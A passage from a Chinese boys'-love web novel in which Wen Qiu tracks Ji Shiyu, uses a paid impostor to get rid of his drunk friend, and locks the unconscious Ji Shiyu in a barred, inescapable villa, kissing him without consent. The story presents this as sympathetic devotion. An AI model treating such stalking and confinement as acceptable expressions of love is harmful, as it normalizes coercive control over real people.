闫霖的直觉向来很准,他察觉不对,才会专门提醒一声。 季时昱收起手机,回头往后看,看到远处跟了一辆亮着灯的车,除此之外什么都看不清。 他暗自思忖一会儿,给闻湫拨去了电话。 闻湫没有他这个号码,不知道会不会接听陌生号码的电话。 没过多久,电话通了。 “哥哥,你找我吗?” 含笑的语气和称呼没有任何变化,电话里的人显然知道这是谁打来的。 季时昱眼皮微抬,“你怎么知道这是我号码?” 闻湫笑道:“哥哥,你的所有联系方式我都知道。” 季时昱回头看了眼那辆车,幽深地眸子微闪,道:“你在跟踪我?” “啊?”闻湫似乎很惊讶他这么说,“哥哥你把我想成什么人了,我只是在保护你而已。” 季时昱嗓音冷下来,“闻湫,我不喜欢这样。” 电话里静默一阵儿,闻湫笑了一声,声音听不出丝毫笑意,“那你喜欢什么样的?” 季时昱:“你是可以演,可以伪装,但你没办法维持一辈子。” 又一次被拆穿,闻湫好久没有说话。 不知过了多久,季时昱看了眼手机,发现电话早就挂了,回头看,也没有亮着灯的车辆跟在后面。 一切陷入了平静。 司机在前面听得清楚,自觉对闻湫有了防备。 夜里变了天,不到半个小时便电闪雷鸣,暴风雨来临,窗户被雨滴拍打的响个不停。 整整一周过去,季时昱没回老宅,没去公司,许多事待在家里办公。 这几天里,他几乎没有出过门,需要签字的文件都由关秘书送过来,关秘书偶尔会传达季老爷子的话。 这几天除了关秘书和家政阿姨以外,季时昱没有见过其他人,自从那晚拆穿了闻湫,他再也没有接到过闻湫的电话,更没有收到任何短信。 清净了是好事,可他总觉得闻湫在憋什么坏。 周六日,他难得休息了两天,期间没有其他人来打扰,季帆嵘的事全部交给闫霖和律师处理,季时昱从一开始就没有露面,仅当一个旁观者来看待这件事。 周日的夜晚,闫霖打来了电话,告诉他会重新翻案二十一年前的事。在闫家调查清楚后,闫老爷子就准备翻案,是季老爷子再三阻止,拿性命保证绝不是季帆嵘做的,闫老气归气,终究是没有和季老闹翻。 闫絮刚嫁进季家的时候,对季家二老的态度很尊敬,因为这事儿,说话再也不顾季家的脸面了。 “当年的证据都留着,再加上季帆嵘涉嫌多类犯罪,全部证据充足,他很可能会被判死刑。”闫霖说道,“季老最近几天频繁来闫家,我爸复印了一份季帆嵘的犯罪记录交给他,他看过后应该会有所考量。” 季帆嵘所涉及的不止是挪用公款、偷税漏税这些,他还做过很多让人唏嘘的恶事,只不过都瞒得好好的,没有人发现。 季时昱费力才调查到这些,他确信,老爷子之所以还在劝他,是因为前几天一直在找关系,没顾得了解季帆嵘都干了什么,一旦看完那几份调查的资料,老爷子再舍不得,也会狠心做个决定。 季时昱轻应一声,说:“他不能死,那样太便宜他了,我要他在里面待一辈子。季帆嵘很懦弱,他在里面哪怕看不到出来的希望,都不敢轻易死去,等着他的只会是无尽的折磨。” 那么贪财自私的人,为了达到自己的目的不择手段,只有未来的日子看不到一点希望,才是对他最大的折磨。 闫霖:“我会给你想要的结果。” 周一下午,关秘书来送文件。 “季总,董事长今天上午又来了。”关秘书吐字清晰,“他希望您不要再躲着他了,他不会再为…季帆嵘求情,他想让您抽时间回家吃顿饭。” 季时昱微微颔首,知道老爷子是看了季帆嵘的犯罪资料,里面记录得太详细了,如果老爷子看了之后还舍不得季帆嵘,那么爷孙俩这辈子都没办法坐在一起吃饭了。 季老爷子是季氏的董事长,拥有季氏最多的股权,可他不会把家里的事和公司挂钩。何况季时昱在季氏的能力有目共睹,他更不会随意拿身份压人。 季时昱接过文件签了字,问了点公司里的事。 关秘书汇报完,拿着文件离开。 季时昱去卧室翻出了前几天卸下来的手机卡,重新安装到手机里,又下载了微信登陆,里面许多消息电话一涌而进。 最新一条消息来自三天前,是季忱发的,可能是觉得联系不上他,后面没有再执着联系。 他挑了些比较重要的事回复,手指最终停留在闻湫的名字上,最新的消息是他发现闻湫跟踪他那晚发来的。 【不管我伪装成什么样,哪怕我再听话、再乖,你都不会喜欢我,不可能和我在一起,对不对?】 【我好难受,你一直在敷衍我,你给我一个追求你的机会也只是因为不想让我缠你太紧,每当我开始着急了,你就会说几句好话来安抚我。】 【可是怎么办,我就是吃你这招。】 【哥哥,我没办法放弃你。】 【对不起。】 季时昱右眼皮剧烈跳动了几下,眼皮的肌肉很快又恢复如常。 他反复看着那段文字,想起闻湫乱七八糟的小心思,心脏不知不觉加速了跳动。 整整心悸了快五分钟才停下来。 他微抿着唇,内心惊疑不定,还有股陌生的复杂感,却唯独没有惶恐不安。 叮咚—— 外面响起了门铃声。 这些都是一周前的消息,季时昱不知道闻湫现在如何想的,他放下手机,起身去外面开门。 家政阿姨提着购物袋进来,里面是刚买的新鲜食材,她打过招呼就去厨房做饭了。 季时昱关门之前,听到外面响起了手机短信的声音,转头往外看,空荡的走廊毫无一人,短信声仿佛是他的错觉。 “季先生,您吃姜吗?” 厨房里传来家政阿姨的询问声。 第38章 亲了一口 不要再无视我了 季时昱瞄了眼外面楼梯间的方向, 反手关门,回过头往屋里走,“不吃。” 他回到书房,从电脑里调出监控, 没有在走廊看到任何可疑的身影。监控只安装在门口, 其他地方拍摄不到, 也没办法调出来。 晚饭后,他打电话和闫霖聊了几句,说了老爷子让他回家吃饭的事。 闫霖:“季老爷子今天没有来闫家,看来他还没有完全糊涂。如果你心里过意不去就回去吃顿饭, 实在不想就算了。” “等周末吧, 最近让他们冷静一下。”季时昱明白现在不是回去的好时机。 “行, 有什么需要帮忙的及时告诉我。”闫霖叮嘱完就挂了。 对闫家来说, 季老爷子不属于完全正面的人,若不是亲家的关系摆在那儿, 闫老早和他闹翻了。 二十一年前的事对闫家来说永远不会翻篇, 闫霖对季老向来没多少好感。 季时昱四岁那年,闫霖七岁,将那些事记得清清楚楚, 小姑哭晕的画面在脑海中挥之不去,这辈子都没办法忘却。 闫霖不喜欢季老,但是没有办法改变季时昱是季老的亲孙子, 有血缘的牵扯,他不会干涉季时昱的决定. 季时昱在家里接着办了两天𝔀.𝓵公, 直到周四,他坐车去了公司。 司机听说了季家的事,对此感到生气又无奈, 再次看到老板坐上车,很想安慰几句,可他不知道该怎么说,于是沉默了一路。 公司的员工都以为季时昱去出差了,今天看到他回来,蓦然想起上周来调查账务的警察,大家知道季总和那位嵘总不和,分部那边对嵘总的声音更大,如今发生了这种事,好多人偷着乐呢。 季时昱到了办公室,安秘书和关秘书跟往常一样进来汇报工作。 临到中午,季忱找过来了。 他得知二十一年前的事情后天都要塌了,不敢相信他爸居然做过那么过分的事。连夜给季茵打电话询问,季茵也是听他说完才知道的,姐弟俩一夜没合眼。 季忱前几天联系不上季时昱,后来没坚持联系,今天听说季时昱来了公司,立马找了过来。他来之前想了一肚子话,进来后看到季时昱,憋屈的一个字都吐不出来,气得直抓头发。 “毛毛躁躁的,谁惹你了?”季时昱看了眼安秘书,后者点头,抱着文件出去。 门关严,季忱坐在沙发上捂住了脸,叹道:“哥,我真没想到我爸居然是那样的人。” 季忱早知道他爸的情况恶劣,没想到还背着所有人干了那么多坏事,最让他气愤的是,他爸曾经竟然想把他哥卖给人贩子,每想到这件事,他就一阵心惊后怕。 “我以为他就是贪了点,每想到那么坏。”季忱声音沙哑,完全没脸抬起头。 季时昱长久未吭声。 对于那件事,他记忆很淡,只记得闫絮当时晕了过去,在医院躺了整整一周才有所好转。 “哥,我、我……对不起……”季忱嘴唇嗫嚅着,说不出一句完整的话。 季时昱无声叹息,“季帆嵘干的事,你说什么对不起。” 季忱抬头,露出一个很难看的笑容,“可他是我爸,大家不都说父债子偿。” “季忱,别想那么多,看开点儿。” 季时昱把季忱当成亲弟弟来看待,季忱和季帆嵘的反差太大了,季帆嵘是坏透了,季忱却比许多人都要纯良。 季忱心里过意不去,待在办公室跟季时昱说了好久,其中包括季茵让他带的话。那时候的季茵才一岁多,哪里会记得这种事。 他们谈到快下班,季忱想请季时昱吃饭,刚说完,接到了尹安玥的电话。 尹安玥喊他回老宅一起求老爷子把季帆嵘保出来。 季时昱站在一旁,将尹安玥的话听进耳中,神色淡然。 季忱等尹安玥说完,道:“妈,他出来了,你以后会有数不尽的罪,你忘记前几天他是怎么打你的了?” 自从在老宅发生过矛盾,季帆嵘果真如他们想的那样,又一次开始了家暴,当时只来得及打一巴掌,被季忱看到了,季忱二话不说拿起椅子就往季帆嵘背上砸。 尹安玥没尝到真正的疼痛,轻易被季帆嵘哄好,她是个没主见的,儿子和丈夫说什么就信什么。 就如此刻,尹安玥听了季忱的话,彻底沉默了。 季忱知道她想明白了,语气缓和了许多:“我有点事,晚上回去再和你细说,” 他没敢说和季时昱吃饭的事。 电梯抵达停车场,季时昱往外走,季忱将手机放兜里,连忙跟上去。 他们离开不久后,白色吉普车后面走出来一个人,眼神阴沉躁郁,面无表情盯着他们离开的方向看了好久,最终开车跟上。 傍晚的车比较多,季时昱坐在后座接电话,后背不自觉爬上一抹凉意,不等他细想,那股感觉就消失了。 “嗯,就这样,剩下的见面说。” 他挂了电话,皱起眉头,前两天的不对劲又涌了上来。 司机在前面开车,导航提示前方红绿灯路口右转。 天暖和了许多,哪怕晚上也不像之前那么冷,季忱有点热,脱下了外套放在臂弯间,拿手机给季茵回消息。 季时昱忽然问:“你最近见过闻湫吗?” “我这几天忙着陪我妈,学校那边请了假。”季忱叹了口气,“其实我有阵子没看到他了,我上周去学校,听说他请了一个月的长假,理由是家里出了点事,我问他怎么了,他不肯告诉我。” 季时昱眼睫微动,“是不肯告诉你,还是不回你任何消息?” 季忱尴尬挠头,“他不回我消息,不过是关于他家里的事,我不好问那么多。” 季时昱轻嗯了一声。 季忱:“岳哥不是他表哥吗,应该知道他家里的状况。哥,你能托岳哥帮忙打探一下消息吗?” 季时昱手指动了动,轻轻敲着手机屏幕,“你很关心他?” 季忱:“好歹是朋友,他帮了我那么多,如果他有什么困难,我肯定会帮他的。” 季时昱没有再说什么。 吃过饭,司机先送季忱回去。 季时昱在半路上想着事儿,背后那股阴凉又来了,比之前任何一次都要明显,他回过头,后面车辆不少,每辆都亮着灯。 他若有所思看着,直到手机响起,看了眼上面的来电显示,滑动接听电话。 电话那头,响起岳裎的声音:“我和展绮在一起呢,出来喝点儿?” 季时昱:“地址。” 岳裎报了个地方。 季时昱让司机送他过去。 他到了地方,岳裎和展绮已经点好了菜和酒,展绮今天来A市补拍代言,在拍摄附近碰见了岳裎,两个人聊了几句,约着出来吃饭了。 柳今需不在A市,岳裎猜想季时昱这几天心情烦闷,专门打电话喊他过来。 季时昱这几天的确快闷坏了,他和季忱才吃过不久,坐下后一直在喝白酒,偶尔动筷子夹了些下酒菜。 “听我爸说,二十一年前那件事已经查清了,季帆嵘还在嘴硬,非说自己是被冤枉的。”岳裎昨晚回了趟家,听他爸提了句这个案子。 季时昱应了声,“闫家保留着足够的证据,他承不承认并不重要。” 展绮倒抽了口冷气,“所以真有这回事儿啊?我有次听岳裎喝醉酒讲过,还以为是假的。” 岳裎看气氛有点凝重,笑着来了句:“我酒后不说假话,你们今天最好把我灌醉,看看能不能趁机套点儿有用的话。” 展绮轻笑:“得,今需没来,可有你说话的份了。” 展绮不能多喝,季时昱几杯就倒,他们俩可没办法灌醉岳裎。 三个人聚在一起随便聊家事、某明星谈恋爱的事,亦或是公司的事,什么都聊,喝到最后,只有展绮保持着清醒,毕竟他明天有事,不能喝太多。 岳裎把自己灌醉了,顺便吐槽一下跟家里长辈的矛盾。 十一点多,展绮的助理来喊他,展绮穿上外套,戴好帽子口罩走了。 季时昱醉得趴在了桌上,喊都喊不醒。 岳裎从他兜里掏出手机,推着他的肩膀,说话有点大舌头:“时昱,你手机密码多少,我让赵屈过来接你。” 没有反应。 岳裎今天开车来的,他知道季时昱会带司机来,喝酒前没喊自己的司机过来,这会儿拿起手机,想掰着季时昱的脸来解锁。 手机连着两次解锁失败,他快站不住了,连忙坐下缓了一会儿。 “时昱,醒醒,” 没动静。 季时昱完全睡过去了。 岳裎心想赵屈也不打个电话问问,无奈叹声气,晕乎乎地掏出了自己的手机,打算找个人来接他们,联系人翻了两页,来电显示弹了出来。 他看着上面的联系人,犹豫了一会儿,赶在铃声结束之前接了电话。 “喂。” “表哥,我和朋友在外面吃饭,好像看到你的车了,”闻湫笑了声,“也可能是看错了,打电话问问。” 岳裎看着季时昱的后脑勺,问:“你走了吗?” 闻湫:“刚吃完,正打算和朋友走。” 岳裎:“开车来的?” 闻湫:“嗯,前阵子瞒着我妈买了辆二十万的代步车。” “我在三楼,你来找我。”岳裎说罢,补上了包间的名字。 电话挂断不久,他等了一会儿,包间的门刚被推开,季时昱的手机响了。 是赵屈的电话。 岳裎看了眼走进来的闻湫,接听那通电话,听到对面的询问后,他说:“你先走吧,我找人送时昱回去。” 赵屈听出了他的声音,道声好便挂断了电话。 岳裎大脑晕得不能思考,这会儿头晕得要命,只想快点回家睡觉,所以只选择离他近一点的人。 闻湫嘴角微扬,走到季时昱身边,动作自然的架起了季时昱,不忘回头问岳裎:“表哥,你能走吗?” 假如岳裎现在还清醒着,一定会能看出闻湫脸上的笑意有多么不正常,可惜他醉得眼前出现了重影,人都看不清了。他晃了晃脑袋,扶着桌子站起来,“勉强能走,时昱睡着了,你扶着他吧。” “那好,我先带哥哥出去,等会儿返回来接你。”闻湫揽着季时昱的腰离开。 岳裎扶着墙往外走,视线落在闻湫的手上,一边想闻湫为什么要把手放在季时昱腰上,一边又想闻湫好像当着他的面喊季时昱哥哥了。 他醉糊涂了,任何事想到一半就丢了神儿,所有的事情都没想出个答案。 闻湫怕季时昱不舒服,没有走太快,眸子黑沉晦涩,压制许久的欲望即将挣脱牢笼。 他带季时昱出了菜馆,一辆车停在外面,车里坐着个陌生司机。 司机见到他们,下车帮忙开车门,“闻先生。” 闻湫把季时昱放进车里,从兜里拿出手机,找到一张照片递过去让他看,“他醉糊涂了,在三楼,可能出包间了也可能没出,你去扶他,开我那辆车把他送到我给的地址那里,事后记得跑远一点,别坐能查到身份的交通工具。” “这些卡里的钱足够你还完债再挥霍几十年了。”他从兜里拿出一张卡塞进司机手里,补充道:“他姓岳,你要喊他岳总,记得跟他说你叫赵屈,是季总让你接他的。” 司机看着那张银行卡,问:“把岳总送回家后,我该怎么处理您的车呢?” 闻湫:“不暴露身份的前提下,随你处理。” 司机笑得谄媚,“我明白了。” 司机把卡放钱包里,带着满脸捡了便宜的喜悦朝菜馆走去。 闻湫关好后面的车门,通过贴了层膜的玻璃看着季时昱,手指蜷起,深吸了一口气,想到接下来要干什么事,兴奋到肩膀颤抖。 他身体燥热的不像话,为了防止自己太过冲动,回去的路上特意打开了窗户吹风。 在这之前先往季时昱身上盖了张毯子,因为车窗开的缝隙较小,再加上季时昱躺在后座,所有的风都被座椅挡住了。 另一边。 岳裎靠在包间门外睡着了,突然有人推了推他,迷迷糊糊睁开眼,眼前是三道不怎么清晰的重影。 来人说道:“岳先生,我是赵屈,季总让我来送您回去。” 岳裎点点头,非常配合的站了起来。 要不说他不能在外面喝酒呢,不仅酒后吐真言,还容易被其他人忽悠走,醉酒后的岳裎没有任何思考能力。 夜还长,A市最繁华的地带灯光璀璨,从高楼往下望,恰好能看到一片赏心悦目的夜景。 几万块的黑色轿车穿过市区,逐渐向外环驶去,路上遇到的车辆越来越少。 凌晨一点多,道路两旁的路灯敞亮,一辆轿车飞速行驶着,两排路灯清晰照出了上面的临时车牌号。 凌晨两点半。 闻湫抱着季时昱下车,嘴角的弧度不曾收起来过,闻着怀里独属于季时昱的清香,心脏跳动的非常快。 走进别墅的大门,他耳廓泛红,眼神染上了痴意。 闻湫带季时昱来到了郊外的独栋别墅,他开门进去,反手关了身后的门。 若仔细看,会发现这扇门特别厚,而且面朝屋里的这一面没有门锁,没有门把手,也没有可以看向外面的猫眼。 或者说,这些都被另一扇没有打洞的门遮盖了起来。 当房门彻底关上,想出去的人来到门前看见这一幕,会感到一头雾水,因为这扇门完全没办法从屋里打开。 复式别墅所有的窗户都采用单项的钢化玻璃,可以清楚从屋内看向外面,但外面的人只能看到一面镜子。窗外安装了一层防盗设施,如牢狱一般,比手指还粗的钢筋插进上下窗台的砖瓦中,缝隙留得小,只有几岁孩子的手臂能够伸进去,一道道钢筋彻底将里面的一切封住了。 客厅内放置了三台大容量双开门的冰箱,乍一看特别夸张,有间三十平的房子里更是堆满了成箱的速食产品和零食,宛如一家小型超市。 闻湫每抱着季时昱往卧室里走一步,就愈发的激动,亢奋到双眼猩红,额角的青筋隐约凸起,呼吸早在不知不觉中变重了。 他进了卧室,把季时昱放在了亲自铺好的床上,紧紧盯着床上的人,眼睛亮得惊人,狭长的眼尾微弯,明显能看出其中的兴奋。 他深呼吸,再深呼吸,想起还有正事没做,不舍看了眼熟睡的人,艰难转身离开卧室。 闻湫进入一间房,打开电脑,手指在键盘上飞速打着程序,最后把他和季时昱的手机都关机, 那一瞬间,世界好像安静了。 他进了卧室,整个人兴奋的不像话,以为等这一天要等好久,没想到这么快就到了。 闻湫知道季时昱讨厌肮脏的手段,所以他不会动用心里那些暗黑的心思,他在等机会,每天都在等,等不到就一直等。 他做好了长久的准备,没想到这个机会来的这么快。 闻湫摸着季时昱的脸,微微低下头,在那张脸上亲了一口。 分明是他在亲季时昱,他自己却害羞的红了耳朵,手指下移,触碰到了略有些温热的唇瓣,指尖在强烈激动下轻微颤抖起来。 “哥哥,好喜欢你啊。” “好喜欢好喜欢,喜欢的快要疯了,见不到你的日子好痛苦。” “你是不是发现不对劲了?” 他跪趴在床边,两只手托腮,认真看着季时昱的睡颜,越看越喜欢,怎么都看不够。 “哥哥,我来A市上学,只是因为想试着能不能碰到你,没想过打扰你。” “后来我梦见你了,还做了那样的梦。” “真没想到,原来我和哥哥本就是天生一对。” “呜……好开心,开心的要哭了,哥哥你都不知道他们对我有多坏,你是第一个保护我的人,我怎么可能会忘记你。” 闻湫睁着眼睛,泪水早已溢满眼眶,只要眨一下就能落下来,但他不想哭,所以强忍着不眨眼睛,不让泪落下来。 和他的激动不同,季时昱此时眉头紧皱,似乎做了噩梦,嘴里喃喃着让人听不清的话。 “我不跟你走……” “滚开……” “…停下……快停下……” 季时昱眼前漆黑一片,什么都看不清,他眼前被蒙了一层布,有人和他紧贴在一起,炽热的吻落在耳侧,哭着说好喜欢他,好想得到他。 “哥哥,其实你不反感我这么黏着你,对不对?” “你要是不喜欢可以打我骂我,不要不理我,不要当我不存在,我受不了你这样。” 有人在哭,身后的人搂住了他,“你给我一个机会,我们试一试,我会好好爱你的,你相信我。” 季时昱身上很不舒服,想推开身后的人,却被抓住了手指,下一刻感受到湿软的舌头舔舐他的指尖,边咬边吮的亲遍了整只手,手指上残留着透着光的水渍。 他挣扎许久无果,叹道:“闻湫,我们不合适。” “哪里不合适了,我们是最相配的,没有人可以拆散我们。”闻湫埋在他肩窝哭泣,哭得特别可怜,“你分明就是喜欢我的,你自己不想承认,非要骗自己把我当弟弟来看。” “哥哥,你没必要这样克制自己,我们的路早就和原书里不一样了,从梦醒的那一刻起,我们就不会走上那条路,你到底在怕什么?” “你给我个机会,我们试一试好不好,如果这个过程中让你有任何不舒服,你可以骂我的,我会改,我一定会改,只要不分手什么都好。” 闻湫哭得全身发颤,搂着他不肯松手,眼泪滴落在他侧脸上,神色发怔的胡言乱语:“如果你真的很讨厌我,早就想办法让我离开A市,但我做了这么过分的事,你只是在劝我放手。” “哥哥,承认吧,你是爱我的。” “从一开始,我们都是最爱对方的人。” “你不要对我这么冷漠,不要再无视我了。” “呜呜……我爱你……” “好爱好爱好爱你。” “你爱我吧,求求你了,你爱爱我。” …… 季时昱猛然睁开眼睛,看到了陌生的天花板,呼吸急促的缓了半分钟,才察觉到腰上搭了条手臂。 第39章 舍不得放 我只是……离不开你 季时昱身上穿着舒适的睡衣, 旁边的人穿了同款不同色的衣服,紧贴着他睡得正熟。 梦里的一切历历在目,闻湫哭诉的话语一遍遍在耳边回荡。 他爱闻湫吗? 他不知道。 好像没有感受过很强烈的感情,他此前唯一所希望的是闻湫能够好好生活, 不要与他搅和在原剧情线里, 那样会毁了所有人。 但现实里的一切都离那条线很远, 或许事实就如梦里的闻湫说得那样,在他们觉醒的那一刻起,事情已经不可能回到原来那条线上了。 季时昱把腰间的手臂拿开,正要坐起来, 那只手臂又返回来搂住了他, 他这才发现双腿被夹了起来, 现在整个人被闻湫以八爪鱼的形态搂在怀里。 他额角突突的跳动, 用力挣开缠着他的四肢,刚坐起身, 听到了一道熟悉的声音。 【不敢睁开眼。】 【万一哥哥对我产生厌恶了怎么办。】 【如果我假装不知道怎么回事, 醒来发现就这样了,哥哥会信吗?】 “……” 季时昱有时候真想谢谢读心术。 他扫视着屋里的装修,由于窗帘没有拉上, 清楚看到窗户外面的防护,牢笼一样的视角让他皱起眉。 他转头看着闻湫轻微颤抖的睫毛,似乎很担忧醒来后要面对的事实。不知为何, 紧皱的眉头莫名有了松动。 这几天的不对劲仿佛有了落实,原来闻湫真的在寻找机会使坏。 季时昱听过闻湫许多暗黑的小心思, 却没有放在心上,总会认为闻湫不敢那样对他,谁知会把人逼急了。 他掀开被子从另一边下床, 找到床头柜上的无框眼镜戴上,穿上拖鞋往外走。 【哥哥怎么不生气,这时候不应该骂醒我吗?我都这样了,他怎么能继续无视我。】 “……” 闻湫就像是新婚夜被爱人抛弃的小可怜,在心里诉说着得不到爱的恐惧和担忧。 季时昱从卧室出来,发现所有窗户外面都被封锁了,下了楼,在看到那间堆满食物的房间后有了不好的预感。 他再往外走,看到三台大冰箱,来到门口,看见了那扇没有门把手的门,顿时眼前一黑。 恰巧听到身后的脚步声,他回头看去,发现闻湫站在二楼的玻璃护栏前,双眼泛红的看着他,眸底有担忧亦有痛苦。 “下来,我们谈谈。” 他声音很冷。 闻湫站在那儿没动。 季时昱走到皮质沙发前坐下,“别让我说第二遍。” 二楼的人终于有了动作,嘴巴微抿,眼里含着晶莹的泪意,好似受了天大的委屈一般,哭红的眼尾显得特别有破碎感。 季时昱差点气笑,他才是被关起来的人,闻湫却哭了。 这算什么? 闻湫磨磨唧唧下了楼,走到他面前,无措站在那儿,别开脸不敢直视他,小声赌气:“我是不会放你走的。” 不想放,也舍不得放。 每想到季时昱离开后,他们可能再也见不到,他的心脏就好痛,痛得快碎成几瓣,拼都拼不起来。现在心口就缺了一角,需要渴望已久的那份爱才能填补好。 季时昱全然不知闻湫的感受,何况他心系工作,此刻皱起眉,嗓音冷清:“别闹了,把门打开,我还要去公司。” 闻湫眼睫微动,眼里的泪水顺着脸颊流了下来,及时被他伸手擦掉,声音颤抖:“出不去的,我们都出不去。” 季时昱抬眼看向他,“你什么意思?” 闻湫抹去另一边的泪,吸了吸鼻子,“我没有把你关起来。” 季时昱冷笑:“你当我傻?” 闻湫摇了摇头,沙哑着声音艰涩道:“哥哥,我的意思是,我们共同被关在了这里,不仅你出不去,我自己也出不去。” 他想永远和季时昱待在一起,至于食物问题,早就安排好了人定期来送。 “……” 季时昱耳鸣了一阵儿,用一种百思不得其解的眼神看着闻湫,没过多久又变为平静、冷漠、不赞同。 他态度强硬道:“找人来把门拆了。” “我不要!”闻湫摇着头,往后退了一步,抱怨道:“你走了就再也不会让我见到你了,我不要这样,我受不了!” 季时昱感到头痛,“闻湫!” 闻湫走到了他面前跪下,半个身体趴在他腿上,拉着他的手,眼里偏激的执拗没有任何掩饰。 “不走好不好,我们永远待在这里,其实你对我是有点喜欢的对不对,你只是不想承认,你害怕我们走向两败俱伤的结局,但是不会的,只要我们相爱,就不会走到那一步!” 季时昱眼皮跳得厉害,想起了昨晚的梦,梦里的话像是一个钩子,一旦上钩就再也没办法变回原状了。 他不清楚这是好是坏,望着闻湫脸上的泪水,大拇指在那张脸上划动擦去泪痕,眼眸微垂,“喜欢是强迫不来的。” 闻湫仰起脑袋看他,抓着他的手贴在脸上,下意识用脸颊蹭了蹭,微湿的眼睫扑簌着,上面细小的泪珠子跟着颤了颤,哽咽道:“不是……强迫……我没有强迫你,我只是……离不开你。” “没有谁离不开谁,即便我们真的确定关系了,也不能随时待在一起。”季时昱看他哭得那么可怜,郁气消了一大半,温声解释:“你是受几个月前的那件事影响,才……” 话未说完,闻湫眼神明显有一瞬的愣怔,哑声说:“所以我没有猜错,你也梦到了对不对?” 季时昱沉默。 闻湫猛地向前抱住了他的腰,头埋在他怀里,身体不停的发抖。 季时昱骤然僵住,两手抬起,僵硬在空中无处可放。 怀里的人泄露出一丝可疑的哭声,双臂越拥越紧,好像怕他凭空消失一样。他僵持片刻,手掌慢慢放在了毛茸茸的黑色脑袋上。 “哥哥。” “我真的好喜欢你,不是受那件事的影响,和那件事没有关系。”闻湫埋在他怀里不肯出来,声音闷闷的,“很早以前就喜欢你了,我本来不想打扰你的生活。” 这些话很莫名其妙,但是季时昱听懂了。 这要追溯到他们的第一面开始,闻湫坚持要来A市找他,没有想过和他更近一步的发展,是因为那个觉醒的梦境,才有了和他在一起的打算。 “你都不知道他们有多坏,因为我不喜欢说话,不喜欢和他们玩,他们抱团欺负我、围堵我、嘲笑我,我好痛苦。”闻湫抽泣了一声,从他怀里抬起头,满脸泪痕,被泪水遮盖的双眼模糊到只剩下回忆带起的痛苦。 季时昱想起幼时的初见,依稀记得小男孩脸上很脏,头发上全是泥土和小石子,心里突然像是被人敲打了一棍子,又闷又痛,手指在闻湫脸上轻轻拂动,擦掉上面湿湿的泪痕。 “我告诉老师没用,家里又没人管我,我太难受了,是你那天出现后,我告诉他们你是我哥哥,谁再欺负我,你会帮我教训他们,就是靠着这样的谎言安稳度过了幼儿园。” “我怎么可能会忘记你,我这辈子都忘不了你,你是唯一一个对我这么好的人。”闻湫眼神忽然暗淡下来,失魂落魄道:“可你忘记了那年的事,忘得一干二净。” 季时昱嘴唇微张,刚要说话,就见他笑了。 “不过没关系,只要我不会忘就好了,而且我们现在又相遇了。”闻湫刚才哭得太厉害,这时候不断喘着气儿,说:“我是想着你才成为了好学生,坚持考进了A大,没有你,我可能早就变成一个废人了。” 那种被欺压的日子过久了,迟早有一天会冲动,说不定后半辈子就毁了。哪怕闻家有能力保住闻湫,但闻湫这一生都不会快乐。 “哥哥,和我试一试吧,我会对你好的。” 闻湫眼里含着期望,两只手握住他的右手,“我会成为一个合格的恋人,我保证这个过程中你会开心的,而且……而且到那时候我就不缠你那么紧了。” 先不说后半句话是真是假,季时昱是绝对不会信的。 他听了这些话,先前因为被关起来而生出的愤怒消散的一干二净,胸腔中更多的是闷痛,他也说不清这种感觉是怎么来的。 季时昱沉默了好久好久,在闻湫眼中的耐心快要耗尽之前,开口问:“你爸妈为什么对你不好?” 闻湫松开他的手,苦笑道:“我上面有哥哥有姐姐,我是他们意外怀上的。” 季时昱没料到会是这种答案。 “我妈妈以前是医生,因为怀我错过了一个很重要的升迁机会,她讨厌我,我爸也不喜欢我,哥哥姐姐都比我大十岁以上,我和他们很陌生。” 闻湫眼睛里多了几分怨毒,不甘道:“他们本来就对我不好,后来发现我性格特别坏,还喜欢打架,就把我当成个天生坏种来看待。明明是别人的错,是别人先来欺负我的,我只是还了手,不小心打重了,他们却认为我性格阴暗暴力,认为我不是好人,甚至认为我有精神病,好几次都想把我送去精神病院治疗。” 闻湫在最需要爱的那个年纪,遇到了为他出面解围的季时昱,以至于对季时昱有了不一样的爱慕。 季时昱心脏抽痛,特别难受,他承认自己在心疼闻湫。但是事情一码归一码,不代表他不追究闻湫这样对他。 他抽出手,说:“我说过了,你可以追我,没必要用这种手段困住我。” “可我追不上你,你不会答应我的,你从一开始就在敷衍我。”闻湫趴进他怀里,耍起了无赖:“只有这样我才能得到你,我没有办法了,是你先不认真对待我的,是你把我逼成这样的。” 季时昱身上穿着扣式睡衣,闻湫把那里拱出了一点缝隙,说话时的气息喷在皮肤上,温热的气体时短时长,让他不适皱起了眉。 “我没有逼过你,是你自己不肯放手。” 闻湫不吭声了,搂着他的手臂下意识收紧。 季时昱敛眸看着怀里的人,“你这样做,就不怕我生气?” 闻湫在他怀里拱了几下,又哭了,“我好怕你生气,可我更怕见不到你呜呜……你前段时间对我好冷漠,我心都要碎了。” 季时昱感到心累,闭了闭眼,用力推他,“你先起来,跪那么久也不怕膝盖废了。” 地上没有铺地毯,闻湫的膝盖早就在疼了,可他不想起来,起来了就没机会抱着季时昱了。 季时昱看他无动于衷,嗓音多了分冷意:“起来,不然我生气了。” 闻湫咬着嘴巴,松开手臂,缓缓站起身。 季时昱起身去了楼上。 他每走一步,闻湫就紧巴巴地跟一步,生怕看不见他,一刻都离不开他。 季时昱本想去次卧,发现所有房间只有卧室有张床,他按了按太阳穴,转身进了卧室,在闻湫跟上来的那一刻,砰的一声关上了门。 闻湫站在门外,只失落了一小会儿,转身背过门,靠着门板蹲下身,继而坐在地上守着。 季时昱待在房间里,摘了眼镜躺在床上,本想闭眼休息一会儿,却不想满脑子都是闻湫哭泣的表情,耳边重复着闻湫哭诉的童年。 他睁开眼睛,心里的闷痛加重,转身面向明亮的窗户侧躺着,看见外面一根根封住窗户的钢筋,眼底的烦躁一闪而过,拉着被子蒙住了脑袋。 他不知道自己躺了多久,总之没有睡着,恍惚间,听见门外响起了委屈的哭声。 “哥哥,我真的好爱你。” “我不想放你走。” “如果你答应和我结婚,我可以考虑放你离开。” “……” 季时昱就没见过这么得寸进尺的人,他坐起身,视线在房间里扫视一圈,拿起床头柜上的钟表,用力朝窗户砸过去。 屋内发出一声比较尖锐刺耳的声响,钢化玻璃毫无痕迹。 门外的人着急慌忙问道:“哥哥,你怎么了?” “你开一下门,我好担心你。” “哥哥,你说句话啊。” “你又不理我,你每次都这样对我爱搭不理,正因为这样我才没忍住计划了这一切。” “哥哥……呜呜呜你快开门啊!” 季时昱过去给他开了门,没有从他眼里看到丝毫眼泪,反而捕捉到没来得及掩藏的躁郁。 闻湫没想到真会开门,没什么表情的脸上顿时露出担忧的模样。 “哥哥,你终于肯理我了。” 季时昱:“我手机呢?” 闻湫眼巴巴瞧着他。 季时昱眉头微拧。 